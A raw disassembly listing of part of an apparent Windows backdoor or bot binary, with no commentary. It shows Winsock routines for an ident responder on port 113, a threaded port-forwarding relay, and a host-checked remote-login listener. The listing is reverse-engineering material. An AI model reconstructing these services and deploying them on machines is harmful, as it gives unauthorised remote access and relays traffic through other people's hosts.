		push	offset aSSHttp1_1Refer ; "%s %s	HTTP/1.1\nReferer: %s\nHost: %s\nCon"...
		push	esi
		push	eax
		call	sub_41BFF0
		add	esp, 1Ch
		lea	eax, [ebp+var_110]
		push	edi
		push	eax
		call	sub_41B650
		pop	ecx
		push	eax
		lea	eax, [ebp+var_110]
		push	eax
		push	ebx
		call	dword_4CE358	; send
		push	esi
		lea	eax, [ebp+var_110]
		push	edi
		push	eax
		call	near ptr sub_41C9B0
		add	esp, 0Ch
		lea	eax, [ebp+var_110]
		push	edi
		push	esi
		push	eax
		push	ebx
		call	dword_4CE320	; recv
		pop	esi


loc_410E68:				; CODE XREF: sub_410D8B+6Bj
		push	ebx
		call	dword_4CE3A0	; closesocket
		call	dword_4CE260	; WSACleanup
		lea	eax, [ebp+var_110]
		push	eax
		lea	eax, [ebp+var_310]
		push	eax
		call	sub_41BEF6
		cmp	[ebp+arg_C], edi
		pop	ecx
		pop	ecx
		jnz	short loc_410EA8
		push	edi
		lea	eax, [ebp+var_310]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_409743
		add	esp, 14h


loc_410EA8:				; CODE XREF: sub_410D8B+102j
		pop	edi
		pop	ebx
		leave
		retn
sub_410D8B	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn bp-based	frame


sub_410EAC	proc near		; DATA XREF: sub_40121E+430o
					; sub_401AA1+436Bo

var_238		= byte ptr -238h
var_38		= byte ptr -38h
var_2C		= byte ptr -2Ch
var_2A		= word ptr -2Ah
var_28		= dword	ptr -28h
var_1C		= word ptr -1Ch
var_1A		= word ptr -1Ah
var_18		= dword	ptr -18h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 238h
		push	ebx
		push	esi
		push	edi
		push	10h
		pop	edi
		xor	esi, esi
		push	edi
		lea	eax, [ebp+var_1C]
		push	esi
		push	eax
		mov	[ebp+var_8], esi
		call	sub_41BC00
		add	esp, 0Ch
		mov	[ebp+var_1C], 2
		push	71h
		call	dword_4CE308	; ntohs
		push	esi
		push	1
		push	2
		mov	[ebp+var_1A], ax
		mov	[ebp+var_18], esi
		call	dword_4CE388	; socket
		mov	ebx, eax
		cmp	ebx, 0FFFFFFFFh
		jz	loc_41100D
		mov	eax, [ebp+arg_0]
		push	edi
		imul	eax, 234h
		mov	dword_441254[eax], ebx
		lea	eax, [ebp+var_1C]
		push	eax
		push	ebx
		call	dword_4CE334	; bind
		cmp	eax, 0FFFFFFFFh
		jz	loc_41100D
		push	5
		push	ebx
		call	dword_4CE330	; listen
		cmp	eax, 0FFFFFFFFh
		jz	loc_41100D
		mov	[ebp+var_C], edi
		mov	edi, 200h


loc_410F37:				; CODE XREF: sub_410EAC+EAj
					; sub_410EAC+14Aj ...
		lea	eax, [ebp+var_C]
		push	eax
		lea	eax, [ebp+var_2C]
		push	eax
		push	ebx
		call	dword_4CE39C	; accept
		cmp	eax, 0FFFFFFFFh
		mov	[ebp+var_4], eax
		jz	loc_411008
		movzx	eax, [ebp+var_2A]
		push	eax
		push	[ebp+var_28]
		call	dword_4CE394	; inet_ntoa
		push	eax
		lea	eax, [ebp+var_238]
		push	offset unk_437730
		push	eax
		call	sub_41BEF6
		lea	eax, [ebp+var_238]
		push	eax
		call	sub_415F45
		add	esp, 14h
		lea	eax, [ebp+var_238]
		push	esi
		push	edi
		push	eax
		push	[ebp+var_4]
		call	dword_4CE320	; recv
		cmp	eax, 0FFFFFFFFh
		jz	short loc_410F37
		lea	eax, [ebp+var_238]
		push	esi
		push	eax
		call	sub_418615
		push	0Ch
		lea	eax, [ebp+var_38]
		push	esi
		push	eax
		call	sub_41BC00
		push	esi
		push	esi
		lea	eax, [ebp+var_38]
		push	2
		push	eax
		call	sub_40AD20
		push	eax
		push	offset aUseridUnixS ; "	: USERID : UNIX	: %s\r\n"
		lea	eax, [ebp+var_238]
		push	edi
		push	eax
		call	sub_41BFF0
		add	esp, 34h
		lea	eax, [ebp+var_238]
		push	esi
		push	eax
		call	sub_41B650
		pop	ecx
		push	eax
		lea	eax, [ebp+var_238]
		push	eax
		push	[ebp+var_4]
		call	dword_4CE358	; send
		cmp	eax, 0FFFFFFFFh
		jz	loc_410F37
		mov	[ebp+var_8], 1
		jmp	loc_410F37
; ---------------------------------------------------------------------------


loc_411008:				; CODE XREF: sub_410EAC+A0j
		cmp	[ebp+var_8], esi
		jnz	short loc_411034


loc_41100D:				; CODE XREF: sub_410EAC+47j
					; sub_410EAC+6Bj ...
		call	dword_4CE29C	; WSAGetLastError
		push	eax
		lea	eax, [ebp+var_238]
		push	offset unk_4376D0
		push	eax
		call	sub_41BEF6
		lea	eax, [ebp+var_238]
		push	eax
		call	sub_415F45
		add	esp, 10h


loc_411034:				; CODE XREF: sub_410EAC+15Fj
		push	ebx
		call	dword_4CE3A0	; closesocket
		push	[ebp+var_4]
		call	dword_4CE3A0	; closesocket
		push	[ebp+arg_0]
		call	sub_40B56A
		pop	ecx
		push	esi
		call	dword_4280D4	; ExitThread
		pop	edi
		pop	esi
		pop	ebx
sub_410EAC	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn bp-based	frame


sub_411057	proc near		; DATA XREF: sub_401AA1+6022o

var_350		= byte ptr -350h
var_150		= byte ptr -150h
var_14C		= dword	ptr -14Ch
var_44		= dword	ptr -44h
var_40		= dword	ptr -40h
var_3C		= dword	ptr -3Ch
var_30		= dword	ptr -30h
var_28		= byte ptr -28h
var_26		= word ptr -26h
var_24		= dword	ptr -24h
var_18		= byte ptr -18h
var_14		= word ptr -14h
var_12		= word ptr -12h
var_10		= dword	ptr -10h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 350h
		mov	eax, [ebp+arg_0]
		push	esi
		push	edi
		push	4Ah
		pop	ecx
		mov	esi, eax
		lea	edi, [ebp+var_150]
		push	10h
		rep movsd
		pop	edi
		mov	dword ptr [eax+120h], 1
		xor	esi, esi
		push	edi
		lea	eax, [ebp+var_14]
		push	esi
		push	eax
		call	sub_41BC00
		add	esp, 0Ch
		mov	[ebp+var_14], 2
		push	[ebp+var_44]
		call	dword_4CE308	; ntohs
		push	6
		push	1
		push	2
		mov	[ebp+var_12], ax
		mov	[ebp+var_10], esi
		mov	[ebp+var_4], edi
		call	dword_4CE388	; socket
		cmp	eax, 0FFFFFFFFh
		mov	[ebp+arg_0], eax
		jz	loc_4111C2
		mov	ecx, [ebp+var_40]
		push	1
		imul	ecx, 234h
		push	401h
		push	esi
		push	eax
		mov	dword_441254[ecx], eax
		call	dword_4CE218	; WSAAsyncSelect
		lea	eax, [ebp+var_14]
		push	edi
		push	eax
		push	[ebp+arg_0]
		call	dword_4CE334	; bind
		test	eax, eax
		jnz	loc_4111C2
		push	0Ah
		push	[ebp+arg_0]
		call	dword_4CE330	; listen
		test	eax, eax
		jnz	loc_4111C2


loc_411107:				; CODE XREF: sub_411057+C6j
					; sub_411057+166j
		lea	eax, [ebp+var_4]
		push	eax
		lea	eax, [ebp+var_28]
		push	eax
		push	[ebp+arg_0]
		call	dword_4CE39C	; accept
		mov	edi, eax
		cmp	edi, 0FFFFFFFFh
		jz	short loc_411107
		movzx	eax, [ebp+var_26]
		push	[ebp+var_40]
		mov	[ebp+var_14C], edi
		mov	[ebp+var_30], esi
		push	eax
		push	[ebp+var_24]
		call	dword_4CE394	; inet_ntoa
		push	eax
		lea	eax, [ebp+var_350]
		push	offset unk_4377B8
		push	eax
		call	sub_41BEF6
		push	edi
		lea	eax, [ebp+var_350]
		push	18h
		push	eax
		call	sub_40B254
		mov	[ebp+var_3C], eax
		imul	eax, 234h
		mov	ecx, [ebp+var_40]
		add	esp, 20h
		mov	dword_44124C[eax], ecx
		lea	eax, [ebp+var_18]
		push	eax
		lea	eax, [ebp+var_150]
		push	esi
		push	eax
		push	offset sub_4111E7
		push	esi
		push	esi
		call	dword_428084	; CreateThread
		mov	ecx, [ebp+var_3C]
		imul	ecx, 234h
		cmp	eax, esi
		mov	dword_44125C[ecx], eax
		jnz	short loc_4111B8
		call	dword_428094	; RtlGetLastWin32Error
		push	eax
		push	offset unk_437778
		call	sub_415FB9
		pop	ecx
		pop	ecx
		jmp	short loc_4111C5
; ---------------------------------------------------------------------------


loc_4111B0:				; CODE XREF: sub_411057+164j
		push	32h
		call	dword_428080	; Sleep


loc_4111B8:				; CODE XREF: sub_411057+142j
		cmp	[ebp+var_30], esi
		jz	short loc_4111B0
		jmp	loc_411107
; ---------------------------------------------------------------------------


loc_4111C2:				; CODE XREF: sub_411057+63j
					; sub_411057+97j ...
		mov	edi, [ebp+arg_0]


loc_4111C5:				; CODE XREF: sub_411057+157j
		push	edi
		call	dword_4CE3A0	; closesocket
		push	[ebp+arg_0]
		call	dword_4CE3A0	; closesocket
		push	[ebp+var_40]
		call	sub_40B56A
		pop	ecx
		push	esi
		call	dword_4280D4	; ExitThread
		pop	edi
		pop	esi
sub_411057	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn bp-based	frame


sub_4111E7	proc near		; DATA XREF: sub_411057+124o

var_1344	= byte ptr -1344h
var_344		= byte ptr -344h
var_144		= byte ptr -144h
var_13C		= byte ptr -13Ch
var_3C		= dword	ptr -3Ch
var_34		= dword	ptr -34h
var_30		= dword	ptr -30h
var_20		= dword	ptr -20h
var_1C		= byte ptr -1Ch
var_18		= word ptr -18h
var_16		= word ptr -16h
var_14		= dword	ptr -14h
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		mov	eax, 1344h
		call	sub_41C190
		mov	eax, [ebp+arg_0]
		push	ebx
		push	esi
		push	edi
		push	4Ah
		mov	esi, eax
		pop	ecx
		lea	edi, [ebp+var_144]
		rep movsd
		mov	ebx, [ebp+var_30]
		xor	ecx, ecx
		inc	ecx
		push	6
		push	ecx
		push	2
		mov	[eax+120h], ecx
		mov	[ebp+var_4], ebx
		call	dword_4CE388	; socket
		mov	esi, eax
		xor	edi, edi
		cmp	esi, 0FFFFFFFFh
		mov	[ebp+arg_0], esi
		jz	loc_41134A
		push	10h
		lea	eax, [ebp+var_18]
		push	edi
		push	eax
		call	sub_41BC00
		add	esp, 0Ch
		mov	[ebp+var_18], 2
		push	[ebp+var_3C]
		call	dword_4CE308	; ntohs
		mov	[ebp+var_16], ax
		lea	eax, [ebp+var_13C]
		push	eax
		call	dword_4CE348	; inet_addr
		cmp	eax, 0FFFFFFFFh
		mov	[ebp+var_8], eax
		jnz	short loc_411277
		lea	eax, [ebp+var_13C]
		push	eax
		call	dword_4CE38C	; gethostbyname
		jmp	short loc_411285
; ---------------------------------------------------------------------------


loc_411277:				; CODE XREF: sub_4111E7+7Fj
		push	2
		lea	eax, [ebp+var_8]
		push	4
		push	eax
		call	dword_4CE2C0	; gethostbyaddr


loc_411285:				; CODE XREF: sub_4111E7+8Ej
		cmp	eax, edi
		jz	loc_41134A
		mov	eax, [eax+0Ch]
		push	10h
		mov	eax, [eax]
		mov	eax, [eax]
		mov	[ebp+var_14], eax
		lea	eax, [ebp+var_18]
		push	eax
		push	esi
		call	dword_4CE2B0	; connect
		cmp	eax, 0FFFFFFFFh
		jz	loc_41134A
		movzx	eax, [ebp+var_16]
		push	[ebp+var_34]
		mov	[ebp+var_20], edi
		push	eax
		push	[ebp+var_14]
		call	dword_4CE394	; inet_ntoa
		push	eax
		lea	eax, [ebp+var_344]
		push	offset unk_437840
		push	eax
		call	sub_41BEF6
		push	esi
		lea	eax, [ebp+var_344]
		push	18h
		push	eax
		call	sub_40B254
		imul	ebx, 234h
		mov	[ebp+var_30], eax
		imul	eax, 234h
		mov	ecx, [ebp+var_34]
		lea	esi, dword_441254[ebx]
		mov	dword_44124C[eax], ecx
		add	esp, 20h
		mov	ecx, [esi]
		mov	dword_441258[eax], ecx
		lea	eax, [ebp+var_1C]
		push	eax
		lea	eax, [ebp+var_144]
		push	edi
		push	eax
		push	offset sub_4113CF
		push	edi
		push	edi
		call	dword_428084	; CreateThread
		mov	ecx, [ebp+var_30]
		imul	ecx, 234h
		cmp	eax, edi
		mov	dword_44125C[ecx], eax
		jnz	short loc_411383
		call	dword_428094	; RtlGetLastWin32Error
		push	eax
		push	offset unk_437800
		call	sub_415FB9
		pop	ecx
		pop	ecx


loc_41134A:				; CODE XREF: sub_4111E7+44j
					; sub_4111E7+A0j ...
		mov	eax, [ebp+var_4]
		imul	eax, 234h
		push	dword_441254[eax]
		call	dword_4CE3A0	; closesocket
		push	[ebp+arg_0]
		call	dword_4CE3A0	; closesocket
		push	[ebp+var_4]
		call	sub_40B56A
		pop	ecx
		push	edi
		call	dword_4280D4	; ExitThread
		pop	edi
		pop	esi
		pop	ebx


loc_41137B:				; CODE XREF: sub_4111E7+19Fj
		push	32h
		call	dword_428080	; Sleep


loc_411383:				; CODE XREF: sub_4111E7+14Ej
		cmp	[ebp+var_20], edi
		jz	short loc_41137B
		mov	ebx, 1000h


loc_41138D:				; CODE XREF: sub_4111E7+1E1j
		push	ebx
		lea	eax, [ebp+var_1344]
		push	edi
		push	eax
		call	sub_41BC00
		add	esp, 0Ch
		lea	eax, [ebp+var_1344]
		push	edi
		push	ebx
		push	eax
		push	dword ptr [esi]
		call	dword_4CE320	; recv
		cmp	eax, edi
		jle	short loc_41134A
		push	edi
		push	eax
		lea	eax, [ebp+var_1344]
		push	eax
		push	[ebp+arg_0]
		call	dword_4CE358	; send
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_41138D
		jmp	loc_41134A
sub_4111E7	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4113CF	proc near		; DATA XREF: sub_4111E7+130o

var_1128	= byte ptr -1128h
var_128		= byte ptr -128h
var_14		= dword	ptr -14h
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		mov	eax, 1128h
		call	sub_41C190
		mov	eax, [ebp+arg_0]
		push	esi
		push	edi
		push	4Ah
		pop	ecx
		mov	esi, eax
		lea	edi, [ebp+var_128]
		rep movsd
		mov	esi, [ebp+var_14]
		mov	dword ptr [eax+124h], 1
		imul	esi, 234h
		mov	edi, 1000h


loc_411406:				; CODE XREF: sub_4113CF+7Cj
		push	edi
		lea	eax, [ebp+var_1128]
		push	0
		push	eax
		call	sub_41BC00
		add	esp, 0Ch
		lea	eax, [ebp+var_1128]
		push	0
		push	edi
		push	eax
		push	dword_441258[esi]
		call	dword_4CE320	; recv
		test	eax, eax
		jle	short loc_41144D
		push	0
		push	eax
		lea	eax, [ebp+var_1128]
		push	eax
		push	dword_441254[esi]
		call	dword_4CE358	; send
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_411406


loc_41144D:				; CODE XREF: sub_4113CF+61j
		push	dword_441258[esi]
		call	dword_4CE3A0	; closesocket
		push	[ebp+var_14]
		call	sub_40B56A
		pop	ecx
		push	0
		call	dword_4280D4	; ExitThread
		pop	edi
		pop	esi
sub_4113CF	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41146C	proc near		; DATA XREF: sub_4116E1+1BEo

var_3D4		= byte ptr -3D4h
var_350		= byte ptr -350h
var_208		= dword	ptr -208h
var_1F4		= dword	ptr -1F4h
var_1F0		= dword	ptr -1F0h
var_F0		= byte ptr -0F0h
var_B0		= byte ptr -0B0h
var_4C		= byte ptr -4Ch
var_3C		= byte ptr -3Ch
var_2C		= byte ptr -2Ch
var_1C		= byte ptr -1Ch
var_18		= dword	ptr -18h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 3D4h
		mov	eax, [ebp+arg_0]
		push	ebx
		push	esi
		push	edi
		push	78h
		xor	ebx, ebx
		pop	ecx
		mov	esi, eax
		lea	edi, [ebp+var_3D4]
		inc	ebx
		rep movsd
		mov	[eax+1DCh], ebx
		mov	eax, [ebp+var_208]
		mov	[ebp+arg_0], eax
		imul	eax, 234h
		lea	esi, dword_441254[eax]
		xor	edi, edi
		mov	[ebp+var_C], 1Eh
		mov	[ebp+var_8], edi
		mov	eax, [esi]
		mov	[ebp+var_1F4], ebx
		mov	[ebp+var_1F0], eax
		lea	eax, [ebp+var_C]
		push	eax
		push	edi
		lea	eax, [ebp+var_1F4]
		push	edi
		push	eax
		push	edi
		call	dword_4CE2F0	; select
		test	eax, eax
		jnz	short loc_4114F0
		push	dword ptr [esi]
		call	dword_4CE3A0	; closesocket
		push	[ebp+arg_0]
		call	sub_40B56A
		pop	ecx
		push	edi
		call	dword_4280D4	; ExitThread


loc_4114F0:				; CODE XREF: sub_41146C+6Aj
		push	edi
		lea	eax, [ebp+var_3C]
		push	ebx
		push	eax
		push	dword ptr [esi]
		call	dword_4CE320	; recv
		lea	eax, [ebp+var_2C]
		push	10h
		push	eax
		push	dword ptr [esi]
		call	sub_411671
		lea	eax, [ebp+var_4C]
		push	10h
		push	eax
		push	dword ptr [esi]
		call	sub_411671
		lea	eax, [ebp+var_F0]
		push	40h
		push	eax
		push	dword ptr [esi]
		call	sub_411671
		add	esp, 24h
		lea	eax, [ebp+var_4]
		mov	[ebp+var_4], 10h
		push	eax
		lea	eax, [ebp+var_1C]
		push	eax
		push	dword ptr [esi]
		call	dword_4CE25C	; getpeername
		test	eax, eax
		jz	short loc_411569
		call	dword_4CE29C	; WSAGetLastError
		push	eax
		push	offset unk_437918
		call	sub_415FB9
		push	[ebp+arg_0]
		call	sub_40B56A
		add	esp, 0Ch
		push	edi
		call	dword_4280D4	; ExitThread


loc_411569:				; CODE XREF: sub_41146C+D8j
		push	2
		lea	eax, [ebp+var_18]
		push	4
		push	eax
		call	dword_4CE2C0	; gethostbyaddr
		cmp	eax, edi
		jnz	short loc_411593
		push	[ebp+var_18]
		call	dword_4CE394	; inet_ntoa
		push	eax
		lea	eax, [ebp+var_B0]
		push	eax
		call	sub_41BEF6
		jmp	short loc_4115A1
; ---------------------------------------------------------------------------


loc_411593:				; CODE XREF: sub_41146C+10Dj
		push	dword ptr [eax]
		lea	eax, [ebp+var_B0]
		push	eax
		call	sub_41C520


loc_4115A1:				; CODE XREF: sub_41146C+125j
		pop	ecx
		pop	ecx
		push	edi
		push	ebx
		push	offset byte_4404C4
		push	dword ptr [esi]
		call	dword_4CE358	; send
		cmp	dword_4D1044, edi
		jnz	short loc_411603
		push	[ebp+var_18]
		lea	eax, [ebp+var_350]
		push	eax
		lea	eax, [ebp+var_B0]
		push	eax
		lea	eax, [ebp+var_2C]
		push	eax
		call	sub_4116B2
		add	esp, 10h
		test	eax, eax
		jnz	short loc_411603
		push	edi
		push	13h
		push	offset aPermissionDeni ; "Permission denied\n"
		push	dword ptr [esi]
		call	dword_4CE358	; send
		push	dword ptr [esi]
		call	dword_4CE3A0	; closesocket
		push	[ebp+arg_0]
		call	sub_40B56A
		pop	ecx
		push	edi
		call	dword_4280D4	; ExitThread


loc_411603:				; CODE XREF: sub_41146C+14Cj
					; sub_41146C+16Dj
		lea	eax, [ebp+var_B0]
		push	eax
		lea	eax, [ebp+var_2C]
		push	eax
		push	offset unk_4378DC
		call	sub_415FB9
		push	[ebp+arg_0]
		call	sub_411968
		add	esp, 10h
		test	eax, eax
		jnz	short loc_41164A
		call	dword_428094	; RtlGetLastWin32Error
		push	eax
		push	offset unk_4378B0
		call	sub_415FB9
		push	[ebp+arg_0]
		call	sub_40B56A
		add	esp, 0Ch
		push	ebx
		call	dword_4280D4	; ExitThread


loc_41164A:				; CODE XREF: sub_41146C+1B9j
		lea	eax, [ebp+var_B0]
		push	eax
		lea	eax, [ebp+var_2C]
		push	eax
		push	offset unk_437884
		call	sub_415FB9
		push	[ebp+arg_0]
		call	sub_40B56A
		add	esp, 10h
		push	edi
		call	dword_4280D4	; ExitThread
sub_41146C	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_411671	proc near		; CODE XREF: sub_41146C+9Ap
					; sub_41146C+A7p ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	esi
		mov	esi, [ebp+arg_4]


loc_411678:				; CODE XREF: sub_411671+2Aj
		push	0
		lea	eax, [ebp+arg_4+3]
		push	1
		push	eax
		push	[ebp+arg_0]
		call	dword_4CE320	; recv
		cmp	eax, 1
		jnz	short loc_4116AE
		mov	al, byte ptr [ebp+arg_4+3]
		mov	[esi], al
		inc	esi
		dec	[ebp+arg_8]
		jz	short loc_4116A3
		test	al, al
		jnz	short loc_411678
		xor	eax, eax
		inc	eax


loc_4116A0:				; CODE XREF: sub_411671+3Fj
		pop	esi
		pop	ebp
		retn
; ---------------------------------------------------------------------------


loc_4116A3:				; CODE XREF: sub_411671+26j
		push	offset unk_437944
		call	sub_415FB9
		pop	ecx


loc_4116AE:				; CODE XREF: sub_411671+1Bj
		xor	eax, eax
		jmp	short loc_4116A0
sub_411671	endp


; =============== S U B	R O U T	I N E =======================================



sub_4116B2	proc near		; CODE XREF: sub_41146C+163p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	[esp+arg_0]
		push	[esp+4+arg_8]
		call	sub_41C6E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_4116DD
		push	[esp+arg_4]
		push	[esp+4+arg_0]
		push	offset unk_437970
		call	sub_415FB9
		add	esp, 0Ch
		xor	eax, eax
		retn
; ---------------------------------------------------------------------------


loc_4116DD:				; CODE XREF: sub_4116B2+11j
		xor	eax, eax
		inc	eax
		retn
sub_4116B2	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4116E1	proc near		; DATA XREF: sub_401AA1+230Do

var_5DC		= dword	ptr -5DCh
var_5A4		= byte ptr -5A4h
var_414		= byte ptr -414h
var_214		= dword	ptr -214h
var_210		= byte ptr -210h
var_50		= dword	ptr -50h
var_4C		= dword	ptr -4Ch
var_48		= dword	ptr -48h
var_40		= dword	ptr -40h
var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_34		= byte ptr -34h
var_32		= word ptr -32h
var_30		= dword	ptr -30h
var_24		= byte ptr -24h
var_20		= word ptr -20h
var_1E		= word ptr -1Eh
var_1C		= dword	ptr -1Ch
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 5A4h
		mov	eax, [ebp+arg_0]
		push	esi
		push	edi
		push	78h
		pop	ecx
		mov	esi, eax
		lea	edi, [ebp+var_214]
		rep movsd
		xor	edi, edi
		inc	edi
		mov	[eax+1DCh], edi
		lea	eax, [ebp+var_5A4]
		push	eax
		push	202h
		call	dword_4CE278	; WSAStartup
		xor	esi, esi
		cmp	eax, esi
		jz	short loc_41173A
		push	eax
		push	offset unk_437AE4
		call	sub_415FB9
		push	[ebp+var_4C]
		call	sub_40B56A
		add	esp, 0Ch
		push	edi
		call	dword_4280D4	; ExitThread


loc_41173A:				; CODE XREF: sub_4116E1+3Aj
		push	edi
		push	offset loc_41195E
		call	dword_428130	; SetConsoleCtrlHandler
		test	eax, eax
		jnz	short loc_411773
		call	dword_428094	; RtlGetLastWin32Error
		push	eax
		push	offset unk_437AA0
		call	sub_415FB9
		pop	ecx
		pop	ecx
		call	dword_4CE260	; WSACleanup
		push	[ebp+var_4C]
		call	sub_40B56A
		pop	ecx
		push	edi
		call	dword_4280D4	; ExitThread


loc_411773:				; CODE XREF: sub_4116E1+67j
		push	ebx
		push	10h
		lea	eax, [ebp+var_20]
		push	esi
		push	eax
		call	sub_41BC00
		add	esp, 0Ch
		mov	[ebp+var_20], 2
		push	[ebp+var_50]
		call	dword_4CE308	; ntohs
		push	6
		push	edi
		push	2
		mov	[ebp+var_1E], ax
		mov	[ebp+var_1C], esi
		call	dword_4CE388	; socket
		mov	ebx, eax
		cmp	ebx, 0FFFFFFFFh
		jz	loc_4118E9
		mov	eax, [ebp+var_4C]
		push	10h
		imul	eax, 234h
		mov	dword_441254[eax], ebx
		lea	eax, [ebp+var_20]
		push	eax
		push	ebx
		call	dword_4CE334	; bind
		test	eax, eax
		jnz	loc_4118E9
		push	7FFFFFFFh
		push	ebx
		call	dword_4CE330	; listen
		test	eax, eax
		jnz	loc_4118E9
		push	offset unk_437A64
		mov	[ebp+var_10], 0Ch
		mov	[ebp+var_C], esi
		mov	[ebp+var_8], esi
		call	sub_415F45
		pop	ecx
		mov	[ebp+arg_0], edi


loc_411802:				; CODE XREF: sub_4116E1+15Aj
					; sub_4116E1+203j
		lea	eax, [ebp+var_4]
		mov	[ebp+var_4], 10h
		push	eax
		lea	eax, [ebp+var_34]
		push	eax
		push	ebx
		call	dword_4CE39C	; accept
		mov	edi, eax
		cmp	edi, 0FFFFFFFFh
		jz	loc_4118EC
		push	[ebp+arg_0]
		lea	eax, [ebp+arg_0]
		push	eax
		push	8
		push	0FFFFh
		push	edi
		call	dword_4CE2E8	; setsockopt
		cmp	eax, 0FFFFFFFFh
		jz	short loc_411802
		movzx	eax, [ebp+var_32]
		push	[ebp+var_4C]
		mov	[ebp+var_38], esi
		push	eax
		push	[ebp+var_30]
		call	dword_4CE394	; inet_ntoa
		push	eax
		lea	eax, [ebp+var_414]
		push	offset unk_437A20
		push	eax
		call	sub_41BEF6
		lea	eax, [ebp+var_414]
		push	eax
		call	sub_415F45
		push	edi
		lea	eax, [ebp+var_414]
		push	9
		push	eax
		call	sub_40B254
		mov	[ebp+var_48], eax
		imul	eax, 234h
		mov	ecx, [ebp+var_4C]
		add	esp, 24h
		mov	dword_44124C[eax], ecx
		lea	eax, [ebp+var_24]
		push	eax
		lea	eax, [ebp+var_214]
		push	esi
		push	eax
		push	offset sub_41146C
		lea	eax, [ebp+var_10]
		push	esi
		push	eax
		call	dword_428084	; CreateThread
		mov	ecx, [ebp+var_48]
		imul	ecx, 234h
		cmp	eax, esi
		mov	dword_44125C[ecx], eax
		jnz	short loc_4118DF
		call	dword_428094	; RtlGetLastWin32Error
		push	eax
		push	offset unk_4379E0
		call	sub_415FB9
		pop	ecx
		pop	ecx
		jmp	short loc_4118EC
; ---------------------------------------------------------------------------


loc_4118D7:				; CODE XREF: sub_4116E1+201j
		push	32h
		call	dword_428080	; Sleep


loc_4118DF:				; CODE XREF: sub_4116E1+1DFj
		cmp	[ebp+var_38], esi
		jz	short loc_4118D7
		jmp	loc_411802
; ---------------------------------------------------------------------------


loc_4118E9:				; CODE XREF: sub_4116E1+C8j
					; sub_4116E1+ECj ...
		mov	edi, [ebp+arg_0]


loc_4118EC:				; CODE XREF: sub_4116E1+13Cj
					; sub_4116E1+1F4j
		call	dword_4CE29C	; WSAGetLastError
		push	eax
		lea	eax, [ebp+var_414]
		push	offset unk_4379A8
		push	eax
		call	sub_41BEF6
		add	esp, 0Ch
		cmp	[ebp+var_3C], esi
		jnz	short loc_41192C
		push	esi
		lea	eax, [ebp+var_414]
		push	[ebp+var_40]
		push	eax
		lea	eax, [ebp+var_210]
		push	eax
		push	[ebp+var_214]
		call	sub_409743
		add	esp, 14h


loc_41192C:				; CODE XREF: sub_4116E1+229j
		lea	eax, [ebp+var_414]
		push	eax
		call	sub_415F45
		pop	ecx
		push	edi
		call	dword_4CE3A0	; closesocket
		push	ebx
		call	dword_4CE3A0	; closesocket
		call	dword_4CE260	; WSACleanup
		push	[ebp+var_4C]
		call	sub_40B56A
		pop	ecx
		push	esi
		call	dword_4280D4	; ExitThread
		pop	ebx


loc_41195E:				; DATA XREF: sub_4116E1+5Ao
		xor	eax, eax
		cmp	[esp+5E0h+var_5DC], eax
		setz	al
		retn
sub_4116E1	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_411968	proc near		; CODE XREF: sub_41146C+1AFp

var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 18h
		push	ebx
		push	esi
		push	edi
		mov	edi, [ebp+arg_0]
		push	edi
		call	sub_411ABD
		imul	edi, 234h
		mov	esi, eax
		xor	ebx, ebx
		mov	eax, dword_441254[edi]
		mov	[ebp+var_C], 0Ch
		mov	[ebp+var_8], ebx
		mov	[ebp+var_4], ebx
		mov	[esi+0Ch], eax
		mov	edi, dword_428084
		pop	ecx
		lea	eax, [ebp+arg_0]
		push	eax
		push	ebx
		push	esi
		push	offset sub_411C8F
		lea	eax, [ebp+var_C]
		push	ebx
		push	eax
		call	edi	; CreateThread
		cmp	eax, ebx
		mov	[esi+10h], eax
		jnz	short loc_4119D7
		call	dword_428094	; RtlGetLastWin32Error
		push	eax
		push	offset unk_437B48
		call	sub_415FB9
		or	dword ptr [esi+0Ch], 0FFFFFFFFh
		pop	ecx
		xor	eax, eax
		jmp	loc_411AB7
; ---------------------------------------------------------------------------


loc_4119D7:				; CODE XREF: sub_411968+50j
		lea	eax, [ebp+arg_0]
		push	eax
		push	ebx
		push	esi
		push	offset sub_411D2D
		lea	eax, [ebp+var_C]
		push	ebx
		push	eax
		call	edi	; CreateThread
		cmp	eax, ebx
		mov	[esi+14h], eax
		jnz	short loc_411A18
		call	dword_428094	; RtlGetLastWin32Error
		push	eax
		push	offset unk_437B48
		call	sub_415FB9
		pop	ecx
